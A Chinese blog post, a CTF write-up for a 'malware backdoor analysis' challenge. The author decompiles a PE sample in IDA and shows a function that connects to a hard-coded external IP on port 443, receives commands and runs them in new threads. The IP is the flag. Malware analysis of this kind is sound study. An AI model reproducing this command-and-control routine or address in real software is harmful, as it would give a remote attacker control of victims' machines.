攻防世界 Crypto高手进阶区 5分题 恶意软件后门分析

原创

思源湖的鱼 于 2021-01-08 14:53:39 发布 339 收藏 1

分类专栏： ctf 文章标签： ctf 攻防世界 crypto

本文链接：https://blog.csdn.net/weixin_44604541/article/details/112362107

ctf 专栏收录该内容

200 篇文章 23 订阅

订阅专栏

前言

继续ctf的旅程

攻防世界Crypto高手进阶区的5分题

本篇是恶意软件后门分析的writeup

发现攻防世界的题目分数是动态的

就仅以做题时的分数为准了

解题过程

题目描述

PE查壳

扔进IDA

```
int __cdecl sub_402174(int a1)
{
  void *v1; // esi
  unsigned int v2; // ebx
  SIZE_T v3; // eax
  void *v4; // edi
  SIZE_T v5; // eax
  void *v6; // edi
  void *v7; // eax
  HANDLE v8; // esi
  void *v10; // [esp+10h] [ebp-Ch]
  unsigned int v11; // [esp+14h] [ebp-8h]
  void *v12; // [esp+18h] [ebp-4h]

  v1 = (void *)sub_40204D(L"5.39.218.152", 0x1BBu);
  v10 = v1;
  if ( sub_401B50(v1) )
  {
    v2 = 1;
    sub_401D83(v1, 1, a1);
    v3 = sub_401D83(v1, 2, 0);
    if ( v3 )
    {
      v4 = (void *)sub_401ABF(v3);
      v12 = v4;
      sub_401D83(v1, 2, v4);
      v11 = sub_401D72(v4);
      if ( v11 >= 1 )
      {
        do
        {
          v5 = sub_401D83(v4, v2, 0);
          if ( v5 )
          {
            v6 = (void *)sub_401ABF(v5);
            sub_401D83(v12, v2, v6);
            v7 = (void *)sub_40184D(v6);
            v8 = CreateThread(0, 0, StartAddress, v7, 0, 0);
            sub_401B0A(v6);
            WaitForSingleObject(v8, 0x3E8u);
            v4 = v12;
          }
          ++v2;
        }
        while ( v2 <= v11 );
        v1 = v10;
      }
      sub_401B0A(v4);
    }
  }
  sub_401B0A(v1);
```


找到一个外网地址

试了下就是flag

结语

不是很明白在干嘛这题